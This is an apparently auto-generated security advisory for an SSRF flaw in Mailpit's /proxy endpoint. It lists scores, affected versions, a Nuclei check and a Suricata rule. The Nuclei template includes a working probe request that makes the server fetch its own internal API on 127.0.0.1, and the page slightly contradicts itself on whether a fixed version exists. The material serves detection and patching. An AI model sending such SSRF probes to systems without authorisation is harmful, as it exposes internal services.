CVE-2026-21859: Mailpit Proxy Endpoint is Vulnerable to Server-Side Request Forgery (SSRF)

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-30 07:36 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Mailpit is an email testing tool and API for developers. Versions 1.28.0 and below have a Server-Side Request Forgery (SSRF) vulnerability in the /proxy endpoint, allowing attackers to make requests to internal network resources. The /proxy endpoint validates http:// and https:// schemes, but it does not block internal IP addresses, enabling attackers to access internal services and APIs. This vulnerability is limited to HTTP GET requests with minimal headers. The issue is fixed in version 1.28.1.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-01-07).

Weakness: CWE-918: Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality low, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template and 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 17 references on Exploit Observer

Live scores

EPSS
0.008
low predicted chance of attack
VEDAS
0.987
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
Axllent mailpitversion < 1.28.1Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Mailpit - Server-Side Request Forgery

Mailpit is an email testing tool and API for developers. Versions 1.28.0 and below have a Server-Side Request Forgery (SSRF) vulnerability in the /proxy endpoint, allowing attackers to make requests to internal network resources.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /proxy?url=http://127.0.0.1:8025/api/v1/info); it decides using status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-21859.yaml
Show the template (45 lines)
yaml
id: CVE-2026-21859

info:
  name: Mailpit - Server-Side Request Forgery
  author: vedas-arpsyndicate
  severity: high
  description: |
    Mailpit is an email testing tool and API for developers. Versions 1.28.0 and below have a Server-Side Request
    Forgery (SSRF) vulnerability in the /proxy endpoint, allowing attackers to make requests to internal network
    resources.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-21859&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mailpit&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-21859
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,mailpit,axllent,oast,oob,ssrf,vkev,vuln
http:
  - raw:
      - |
        GET /proxy?url=http://127.0.0.1:8025/api/v1/info HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Version"'
          - '"Database"'
          - '"RuntimeStats"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

CVE-2026-21859.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-21859 Mailpit - Server-Side Request Forgery. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-21859 Mailpit - Server-Side Request Forgery"; flow:established,to_server; http.uri; content:"proxy"; nocase; content:"=http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-21859; reference:url,https://www.exploit.observer/?keyword=CVE-2026-21859&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=mailpit&match=exact; sid:1010303; rev:1;)

CVE-2026-21859.rules on GitHub

Advisories on this CVE

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners